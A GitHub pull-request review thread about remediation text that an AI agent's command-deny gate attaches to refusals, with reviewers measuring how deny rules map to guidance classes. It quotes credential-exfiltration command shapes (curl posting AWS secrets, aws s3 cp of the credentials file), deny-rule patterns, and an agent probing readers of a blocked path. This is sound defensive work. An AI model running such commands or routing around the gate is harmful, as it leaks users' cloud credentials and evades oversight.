The four earlier mutation sets were re-run on the new head — 21 mutations caught in total.

Gates

black · subprocess-encoding · isort · flake8 · mypy --platform linux (1222 files)
· docs-lint (251 files) · brand-name · scrub-lint working tree · 124 tests across the
three touched test modules, of which test_deny_guidance.py is now 78 passing.

Deliberately NOT in this PR

Giving each non-AWS provider a first-class class (its own anchors and its own prose)
still depends on classification riding the hook result as a token instead of being
re-derived from refusal text — DeniedCommandRule.category already holds it structurally,
but compute_effective_denied drops it. That crosses the hook's text boundary and is
tracked in #7394, which now also records this round's finding.

@buluoray
buluoray force-pushed the feat/deny-remediation-guidance branch from b5e1536 to 22c6148 Compare September 1, 2026 14:36
@github-actions github-actions Bot added readiness: checking Automated validation is still running readiness: passed Eligible automated validation passed for the current revision and removed readiness: passed Eligible automated validation passed for the current revision readiness: checking Automated validation is still running labels Sep 1, 2026
@buluoray

buluoray commented Sep 1, 2026

Copy link
Copy Markdown
Contributor Author

Disposition of both advisory CONCERNS on 22c6148b4

Both lanes state CONCERNS is advisory. Answering every item anyway, and naming the one that
is a real defect I have not fixed.

Rebutted, with a measurement

Design's Suggestion, and the same shape in First Principles' first Watch — thread a
structured deny_class / category through compute_effective_denied for built-ins,
keeping text-matching only for the metadata-less edition globs.

This was the obvious fix and it does not hold. Measured against the real producers —
is_sensitive_bash_command for the floor, and every BUILTIN_DENIED_RULES pattern matched
against the same command text:

refused floor refuses matching builtin rules category available
AWS credentials file yes 1 sensitive-file-read
SSH private key yes 1 sensitive-file-read
SSO token cache yes 1 sensitive-file-read
gcloud ADC file yes 0 none
azure token file yes 0 none

Three reasons it misses precisely the cases this module exists for:

  1. The metadata-less tier is not only the edition globs. The sensitive-path floor is what
    actually refuses all five, it runs BEFORE the rule tiers, and it is not a rule — no id, no
    category. So text/subject matching would remain on the motivating path, leaving two
    mechanisms instead of one.
  2. For the two newest providers there is no category at all — zero matching builtin rules.
  3. For the other three the category is too coarse in exactly the wrong place. All three
    collapse to one sensitive-file-read category while needing three different sanctioned
    paths. The discriminator is the refused path, which is why classify_deny takes subject.

The narrower fix that would work is the opposite direction: have the refusing site return
the class it already determined — when the floor matches it is holding the discriminating
fact, which fenced store matched, and classify_deny currently re-derives that by
re-matching the path. Recorded with the measurement in #7394, including a correction to my own
earlier comment there that had proposed the category-keyed version.

Fixed this round

Design's concern that vendor semantics are baked into neutral core prose was half right and
that half is fixed
: the widest class told the agent that "aws, git and ssh each resolve
their own credentials" and offered credential_process as the route, while the floor fences
ten stores and five non-AWS ones all land in that class. It now names the owning client by
category, and a new guard (TestNonAwsCredentialStoresGetProviderNeutralGuidance) pins,
through the real producer, that none of those five receives any of AWS's own commands.
Mutation-verified: reverting the prose to a vendor enumeration reddens it, and widening an AWS
anchor onto another cloud's store reddens it.

Accepted and deferred (→ #7394)

  • The vending-tool --profile clause shipping to every host (Design Watch 1). The claim is
    measured true for the vending tool available here — a second vend overwrites the same slot
    and --profile <name> fails with "config profile could not be found" — but it is one
    vendor's semantics, and moving it into the adapter path that only fires when a vendor is
    detected is a change to how prose is composed, not a wording fix. Failure mode is bounded:
    the same class also tells the agent to run aws configure list-profiles and
    aws sts get-caller-identity, so a wrong assumption is self-correcting rather than silent.
  • A producer-side marker so a future refusal site cannot be added without noticing it feeds
    a classifier (Design Watch 2, First Principles Watch 1).
  • SUGGESTED_COMMANDS placement — First Principles is right that it has no runtime
    consumer; note it now also backs the new guard, so it is test infrastructure rather than dead
    code, and moving a public constant is its own change.
  • Shrinking SKILL.md's per-class sections and the three-copy prose generally. The three
    surfaces address three different readers (the agent at refusal time, the operator, the
    maintainer), so collapsing them is a judgment call worth its own discussion.

Real defect, verified, NOT yet fixed — awaiting the author's call

First Principles' third Watch is not a design opinion, and it checks out on both counts:

  • test_spawn_audit.py's waiver comment says the binary "is resolved with
    shutil.which(\"aws\")\". The code uses platform_compat.trusted_system_bin — changed
    deliberately, because PATH can lead with an agent-writable worktree venv bin while doctor
    runs as the operator.
  • The same comment says "doctor is operator-invoked rather than agent-reachable", while
    cli_doctor.py:2001 states "kirocrew doctor is reachable from a tool call" and the shipped
    skill instructs the agent to run it.

Two false clauses sitting in a security waiver's justification. Zero behaviour change to
remove them; the waiver's other legs (fixed argv with no agent-influenced component, read-only,
no credential value) stand on their own. Held rather than pushed because it costs a full CI
round and re-triggers every lane, and the PR is otherwise green — the author decides whether it
rides this PR or a follow-up.

@buluoray

buluoray commented Sep 1, 2026

Copy link
Copy Markdown
Contributor Author

Round 16 — two false clauses removed from the spawn waiver

Pushed 22c6148b47769a2c2a. Comment-only: no executable line changed, still one
commit, security.py still at zero changes in the three-dot diff, wire deny reason
unchanged.

This is First Principles' third Watch, which was a real defect rather than a design opinion.
Both halves checked out against source:

  • The _aws_profile_names / _aws_auto_refreshes waiver said the binary "is resolved with
    shutil.which("aws")". The code uses platform_compat.trusted_system_bin("aws") — changed
    deliberately in an earlier round, because PATH can lead with an agent-writable worktree
    venv bin while doctor runs as the operator. The comment now names the real mechanism and
    says why it is not PATH.
  • The _credential_vendor_line waiver justified itself partly with "doctor is
    operator-invoked rather than agent-reachable", while cli_doctor.py's own docstring states
    "kirocrew doctor is reachable from a tool call" and the shipped skill instructs the agent
    to run it. That clause is deleted. The waiver's remaining legs — fixed argv with no
    agent-influenced component, read-only and never carrying a credential value, and the public
    default spawning nothing at all because available() is False — stand on their own, and the
    comment now says so explicitly rather than leaving the reader to notice the contradiction.

A false justification in a security waiver is worth a CI round on its own: the next person to
touch that allowlist would have read "operator-invoked" and concluded the entry needed no
argv scrutiny.

Re-verified on the new head: black, isort, flake8, mypy --platform linux (1222 files),
docs-lint, scrub-lint working tree, 124 tests across the three touched modules, and all
five mutation sets (rounds 10/11/13/14/15, 21 mutations) still caught.

A refusal named the rule and nothing else, so for credential work the
agent inferred the wrong next step: it cycled through readers of the
same blocked path -- every one of which a sibling rule also blocks --
and then reported that the host had no AWS access. AWS CLI calls were
never blocked; only reading the credential files is.

Attach remediation keyed by the CLASS of thing the gate refused, rather
than per rule: an edition overlay contributes bare fnmatch globs with no
id or description, so per-rule text cannot cover the rules an enterprise
adds. The class is recovered from the refusal text plus the tool title,
which is needed because the sensitive-path tier refuses with a generic
reason that names no path.

Remediation rides the in-band notice, not the reason string: the reason
is parsed structurally by the frontend, so the wire format stays
byte-identical. The optional credential-vendor hint reuses the existing
capability_manager seam, so no Protocol method is added and the public
edition spawns nothing.

Also ship the two surfaces that did not exist: a packaged skill teaching
an agent how to read a refusal, and a doctor Credentials section, so
"my agent cannot reach AWS" has a self-service answer. The section is
advisory and reads no secret value.
@buluoray

buluoray commented Sep 2, 2026

Copy link
Copy Markdown
Contributor Author

Rebased onto current main

7769a2c2ad663bad7f. Main had advanced 162 commits and the PR had gone dirty, so this is a
conflict resolution, not a content change.

One conflict, and it was an import line. src/kiro_crew/dashboard/state.py — main added
mint_row_mid to the kiro_crew.history import while this branch added
from kiro_crew.deny_guidance import remediation_for. Both sides kept, isort order preserved. Every
other file auto-merged.

Invariants re-checked on the new head: still one commit, security.py still at zero changes
in the three-dot diff, wire deny reason unchanged, no conflict markers anywhere.

Re-verified after the rebase: black, subprocess-encoding, isort, flake8,
mypy --platform linux (1263 files), docs-lint, scrub-lint working tree, 124 tests across the
three touched test modules, and all five mutation sets (rounds 10/11/13/14/15) still catching every
mutation.

Note for the review lanes: every verdict from 7769a2c2a died with the push, including the
GPT 5.6 Review lane that had failed not on a finding but on an expired-credential 401 — a
repo-wide fault filed as #7706. This rebase gives that lane a fresh SHA to run on.

@buluoray

buluoray commented Sep 2, 2026

Copy link
Copy Markdown
Contributor Author

Disposition — First Principles CONCERNS on d663bad7f

Both blocking lanes are clean on this SHA (GPT 5.6 ✅, Opus 4.8 ✅), Design and UX are ✅ PASS.
Answering the one item that is NEW on this SHA, plus confirming the two that were already
dispositioned.

Fixed — and it was worse than reported

"test_spawn_audit.py gains one BENIGN_SPAWNS entry" — the diff adds three. Correct, and
verified: the diff adds _credential_vendor_line, _aws_profile_names and _aws_auto_refreshes.
The PR body said one. Corrected in the body, so the SHA is unchanged and no lane was re-triggered.

While correcting it I found a second error in the same paragraph that this finding did not
name: the body still justified the waiver partly with "doctor is operator-invoked rather than
agent-reachable" — the exact clause I removed from test_spawn_audit.py's own comment in the
previous round precisely because it is false (cli_doctor.py states kirocrew doctor is reachable
from a tool call, and the shipped skill tells the agent to run it). So the code comment had been
fixed while the PR body went on asserting the thing that fix retracted. The body now rests the
waiver on the legs that actually hold — fixed argv with no agent-influenced component, read-only
with no credential value, and the public default never issuing the await — and says outright that
the section IS tool-reachable. It also now records that the two aws configure entries resolve the
binary through platform_compat.trusted_system_bin rather than PATH.

Already dispositioned, unchanged

  • Three prose copies (REMEDIATION, SKILL.md, blocked-commands.md) held together by
    cross-surface string assertions — accepted and deferred in issuecomment-5496238962, tracked in
    doctor credentials copy, and the deferred half of deny-remediation guidance #7394. The three surfaces address three different readers (the agent at refusal time, the
    operator, the maintainer), so collapsing them is its own decision.
  • Move SUGGESTED_COMMANDS into the test module — the observation that it has no runtime
    consumer is correct. Since the previous round it also backs
    TestNonAwsCredentialStoresGetProviderNeutralGuidance, which asserts that no non-AWS fenced store
    receives any of AWS's own commands, so it is test infrastructure rather than dead code. Moving a
    public module constant is its own change; tracked in doctor credentials copy, and the deferred half of deny-remediation guidance #7394.

Note on the earlier red

Three checks failed on this SHA and all three were cleared by a rerun on the same SHA with no
threshold, baseline or test touched: Backend Tests (3.10, 3) and Backend Tests (Windows) (3) both
failed test_safety_override_restart_drop.py::TestTheNoticeIsOwed::test_a_timed_grant_with_time_left_is_reported,
and Coverage Gate failed closed downstream of them in four seconds.

That test is not in this PR's diff and imports only kiro_crew.safety_override, which this PR does
not touch; it landed on main on 2026-08-30 (27c9f4d93), inside the 162 commits this rebase pulled
in. Because this PR adds two test files, shard membership could have moved it next to a polluting
neighbour, so that was checked rather than assumed: the full shard was reproduced locally with CI's
own invocation (pytest -q -n auto --timeout=120 --splits 4 --group 3 --no-cov, against the same
committed .test_durations, so membership matches) and came back 20293 passed / 54 skipped / 0
failed
. The assertion is dropped is not None in a test named "a timed grant with time left", so a
loaded runner consuming the window is the remaining explanation — consistent with both platforms
failing in the same wave.

@chenmingwei23

Copy link
Copy Markdown
Contributor

Reviewed the diff, then drove classify_deny against the real rule catalog.

First, the part I would ship as-is: the bug is real and the six blocks of
prose are good. The old shared line in _DENY_CAUSE_TEXT -- "use an allowed
alternative (for a shell command, a read-only variant)" -- is not merely
unhelpful for a credential refusal, it actively points the agent at
head/less/strings, which is the loop the issue reports. And keeping the wire
reason byte-identical so no existing parser or assertion moves is the right
call.

My question is where the mapping lives. It is not a style preference -- the
current design has measurable holes, and I would rather name them now than
discover them one rule at a time.

What the classifier actually reads

For a built-in rule the gate emits DENY_REASON_PREFIX + matched, where
matched is the rule's own regex source. On the regex tier a built-in rule
carries no note -- resolve_denied_notes holds user patterns only, and the
argv-structural floor's note_override rides a different path -- so the
string classify_deny receives is literally:

Blocked by security policy: .*cat.*/\.aws/.*

So classification is keyword matching over regex source text, plus the tool
title. Nothing semantic is available at that point.

Measured over the real catalog

I AST-parsed BUILTIN_DENIED_RULES out of security.py (148 rules; the
149th DeniedCommandRule( call site is edition_denied_rules rebuilding
provider input) and ran each rule's real reason string through
classify_deny:

outcome rules
no guidance at all 115 / 148
self-protection reaching DENY_CLASS_SELF_PROTECTION via the regex tier 0 / 7
any rule reaching DENY_CLASS_EXFIL_SHAPE via the regex tier 0
credential-exfil classified as DENY_CLASS_AWS_CREDENTIAL 10 / 27

Two of the six classes are structurally unreachable from the regex tier. The
self_protection anchor is matched structurally on the command's argv and
the exfil_shape anchor is data-exfiltration pattern; both phrases are
emitted by other code paths and never appear in a rule's regex. Those two
blocks of prose only ever fire on the non-regex paths -- which is fine and
intended for is_sensitive_bash_command and the argv-structural floor, but
it means the 7 self-protection rules and all 27 credential-exfil rules
get nothing from their own tier.

The 10 that worry me are misdirection rather than silence:

credential-exfil-echo-aws-secret               anchor hit 'aws_secret'
credential-exfil-echo-aws-access               anchor hit 'aws_access'
credential-exfil-echo-aws-session              anchor hit 'aws_session'
credential-exfil-curl-aws-secret               anchor hit 'aws_secret'
credential-exfil-curl-aws-access               anchor hit 'aws_access'
credential-exfil-curl-aws-session              anchor hit 'aws_session'
credential-exfil-export-aws-access             anchor hit 'aws_access'
credential-exfil-export-aws-secret             anchor hit 'aws_secret'
credential-exfil-python-boto3-get-credentials  anchor hit 'boto3'
credential-exfil-python-botocore-credentials   anchor hit 'botocore'

These are outbound-transfer rules. Their regex source literally contains
AWS_SECRET_ACCESS_KEY / boto3 / botocore, so they land in the
AWS-credential class, and the agent is handed "AWS CLI calls themselves are
NOT blocked, so run the command you actually wanted". Adding the tool title
widens it rather than narrowing it: aws s3 cp ~/.aws/credentials s3://some-bucket/x also classifies as aws_credential.

Also silently unclassified today, all in sensitive-file-read:
sensitive-file-read-cat-gpg, -cat-docker-config, -cat-kube-config,
and -cat-kirocrew-env.

The two questions I could not answer from the current design

A new rule. I wrote four of the kind we would plausibly add next --
~/.kube/config, ~/.docker/config.json, ~/.vault-token,
/var/run/secrets/kubernetes.io/... -- and all four classify as no
guidance. Nothing goes red. test_deny_guidance.py drives the existing
producers, which is the right way to catch a producer REWORDING itself, but
a new rule is not a rewording: adding one is a fully green change that ships
without remediation and with no signal that it did. The failure mode is
invisible by construction, and it is the normal way this catalog grows.

A wrong guess. There is no signal either. The prose is static and advisory
so nothing crashes, but a misdirected refusal costs a turn and teaches the
agent that host guidance is unreliable -- which this module's own docstring
names as worse than silence. The 10 rules above are that case, and they ship
with this PR.

Why per-rule, and why the seam is the real issue

DeniedCommandRule already carries category (10 distinct values across
all 148 rules) and description. The six classes here are close to a
coarsening of category. The reason the module cannot read it is that
compute_effective_denied returns list[str], so id / category /
description are dropped at that boundary -- and the classifier then
re-derives from English prose what the dataclass already states
structurally.

The mechanism for per-rule remediation also already exists:
is_denied(reason_notes=...) together with resolve_denied_notes, whose
docstring describes exactly this feature -- "the note is what the refusal
shows INSTEAD of leaving the agent to infer intent from a raw regex -- e.g.
use --maxdepth, or rg/fd rather than a 40-character character-class soup".
It is empty for built-ins on purpose, and that reasoning is sound as far as
it goes: reusing description (catalog documentation for the Settings
reader) as caller-facing remediation would be wrong. But that is an argument
against reusing description, not against having per-rule remediation at
all. And _deny_reason already places a note on its OWN line precisely so
the POLICY_RE-style parsers ignore it, so the "cannot touch the reason
string" constraint does not apply to that channel.

On the edition point, the module docstring says an overlay "contributes bare
fnmatch globs carrying no id, category or description". That is true of
SecurityOverlay.extra_deny_patterns, the un-weakenable glob floor. It is
not true of the other seam: DeniedRuleProvider.denied_rules() returns
List[DeniedCommandRule] -- full objects on the regex tier,
user-disableable, listed in Settings as source="edition" -- and
edition_denied_rules even defaults a missing category to "edition"
while preserving description. So a composed edition can already carry its
own remediation per rule, and the public core would never need to know or
name anything about it. Under the current design an edition's rules fall
through to the widest class and receive generic prose, and the adapter the
PR description promises has nothing to attach to.

Concrete shape

  • add alternative: str | None = None to DeniedCommandRule, filled only
    where a sanctioned path exists. That is the 61 rules in
    sensitive-file-read / credential-exfil / self-protection; leave the
    other 87 (aws-destructive, local-destructive, git-publish, sql,
    iac-teardown, reverse-shell, pipe-to-shell) as None, which matches
    this PR's own decision to return "" for them.
  • do not change compute_effective_denied's return type -- route through
    the existing reason_notes parameter, keyed by pattern exactly as user
    rules already are.
  • DeniedRuleProvider then gives the seam for free.
  • KEEP deny_guidance.py as the fallback for the paths that genuinely have
    no structured rule identity: the glob floor, is_sensitive_bash_command,
    and the argv-structural note. That is where a classifier is the right
    tool, and where the exfil_shape and self_protection prose is already
    doing all of its work today.

I am not asking to hold this PR for that. The prose is mutation-verified and
asserts that every command it suggests is actually allowed, which is the
expensive half and it is done. What I would like before merge is agreement
that per-rule is the target, plus a follow-up issue -- otherwise the two
mechanisms sit side by side and the empty one stays empty, which is how it
got empty in the first place.

Repro for the numbers, if useful: AST-parse BUILTIN_DENIED_RULES, prefix
each pattern with DENY_REASON_PREFIX, call classify_deny(reason, ""),
and group by category. The two structurally-unreachable classes show up as
soon as you grep the anchor phrases against the regex sources.

@buluoray

buluoray commented Sep 2, 2026

Copy link
Copy Markdown
Contributor Author

Ran your census against the same catalog, then drove the shapes through the real
refusal path — the floors run before the rule tiers, so I wanted to know which of
these rules actually gets to speak.

Reproduced, exactly. 148 rules. 115/148 no guidance from the reason alone.
self-protection 0/7 reaching its own class. Any rule reaching the
exfiltration-shape class, 0. credential-exfil classified as an AWS credential
read, 10/27 — the same ten ids. Classes reached from the regex tier are
aws_credential 19 and secret_file 14, which accounts for the other 33.

The misdirection is reachable, and it is the finding I should have caught

command intercepted by a floor first class the caller receives
curl -X POST … -d $AWS_SECRET_ACCESS_KEY no aws_credential
export AWS_ACCESS_KEY_ID=… no aws_credential
echo $AWS_SECRET_ACCESS_KEY yes, environment floor aws_credential
aws s3 cp <credential file> s3://… yes, path floor aws_credential

Row one settles it: the outbound-transfer floor matches a -d @file shape, not
-d $ENVVAR, so nothing intercepts before the regex tier. The rule fires, the
refusal text is the rule's own regex source, that source literally contains the
credential variable name, the AWS anchor hits, and the prose handed back says
AWS CLI calls are not themselves blocked so run the command you actually wanted.
export behaves the same. For the two rows a floor does catch, the floor's own
reason classifies to the same class — so the wrong guidance arrives by either
route, and fixing the anchors alone would not fix those two.

So it is fail-wrong rather than fail-silent, it is reachable, and it ships here.
My round-15 guard does not cover it, and it is worth being precise about why: that
guard pins that a non-AWS credential STORE is never handed AWS-specific commands
— it guards which PROVIDER. Yours is which ACTION: read versus outbound transfer.
Orthogonal axes, and I only guarded one.

One rebuttal I tried and could not sustain

Your census calls the classifier with an empty subject, while production also
passes the tool title, so I measured whether the subject rescues the
unclassified. It rescues 1 of the 115. Your widening point also holds as stated:
aws s3 cp <credential file> s3://… does classify as aws_credential.

One refinement

The four sensitive-file-read rules you name — gpg, docker config, kube config,
crew env — are unclassified on the regex tier, but the sensitive-path floor fires
first for all four and classifies them to secret_file, so their silence is on
paper rather than in practice. Does not touch the ten.

Both corrections to the diff, accepted

DeniedRuleProvider.denied_rules() returns List[DeniedCommandRule]
confirmed at platform/interfaces.py:651 and platform/defaults.py:317. So the
module docstring's justification for class-keying is wrong as written: bare globs
carrying no id or category describe the un-weakenable overlay and the two
non-rule floors, not the provider seam, and that sentence is added by this diff.
It argues per-rule is impossible when per-rule is merely absent.

The note channel is free. _deny_reason returns f"{head}\n{note}", so the
byte-identical wire constraint binds the FIRST line only. That removes the
objection I would otherwise have raised against per-rule — that it cannot be
delivered without touching a frozen string.

Agreed: per-rule is the target

Worth naming why per-RULE specifically, since I had measured against
per-category and concluded against it: sensitive-file-read alone needs three
different answers (AWS credential file, SSH private key, SSO token cache), so a
category is too coarse to BE the remediation key. A per-rule alternative does
not have that problem, which is why your version survives an objection the
coarser one does not.

Your shape is what I would build: field on the dataclass, filled only where a
sanctioned path exists, routed through the existing reason_notes keyed by
pattern, compute_effective_denied's return type untouched, and the class-keyed
module kept as the fallback for the tiers with no rule identity.

Filed as #7890 — it carries the census, the ten-rule reachability repro, the two
structurally unreachable anchors, the docstring correction, and that shape. Two
acceptance items are there specifically for the failure modes you named: a census
guard so a new rule without an alternative fails red instead of shipping
silent, and an output-level assertion that an outbound-transfer refusal never
receives text saying the AWS CLI is not blocked.

Keeping it out of this PR rather than patching the anchors here: the honest fix
for the ten is the same change as the mechanism, and narrowing the anchors alone
would leave the two floor-intercepted rows still misdirected while making the
docstring less true, not more.

@chenmingwei23 chenmingwei23 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your correction lands. The four sensitive-file-read rules I listed are
unclassified on the regex tier, but the sensitive-path floor answers first for
all of them, so that silence is on paper rather than in practice. I drove the
classifier; you drove the real order. Same mistake as mine, opposite direction.

I verified row one independently, since it is the load-bearing claim: every curl
body form in the outbound-transfer floor requires @ (-d @, -d@, -d=@,
--data @, --data-binary=@, and so on), and the only upload form is
-T <file>. Nothing matches -d $ENVVAR. So the rule tier does get to speak
and the misdirection does reach the caller -- a stronger claim than the one I
made.

Taking the per-RULE-not-per-category point too. sensitive-file-read needing
three different answers kills the coarser key, and my "close to a coarsening of
category" line was too generous to it.

Two notes, neither a new ask on this PR:

  • The docstring sentence you agree is wrong is ADDED BY THIS DIFF, and it is
    comment-only. I would rather fix it here than land a known-false justification
    and track it in an issue. Same for the module docstring's claim that the one
    interpolated value is a server id, which GPT flagged and which the count-only
    credential_tool_hint contradicts. Both are one line. Your call though --
    touching them re-rolls the non-deterministic review lane, and I do not think
    that risk is worth blocking on in either direction.

  • Acceptance 1 in #7890 is scoped to the rule tier, but rows three and four
    reach the wrong class through a FLOOR, where no rule speaks, so a per-rule
    alternative will not cover them. Worth knowing the outbound-transfer floor
    is not actually identity-less: _BASH_EXFIL_RULE_BY_PATTERN gives every
    pattern a rule id, and audit_bash_exfiltration already reads it for the
    opt-out check and then drops it when building the reason -- the same
    structured-identity-discarded-at-the-boundary shape as
    compute_effective_denied. Folding that floor into the per-rule mechanism
    closes both rows with no new machinery.

Approving. The prose is right, the bug is real, and the mechanism now has a home.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants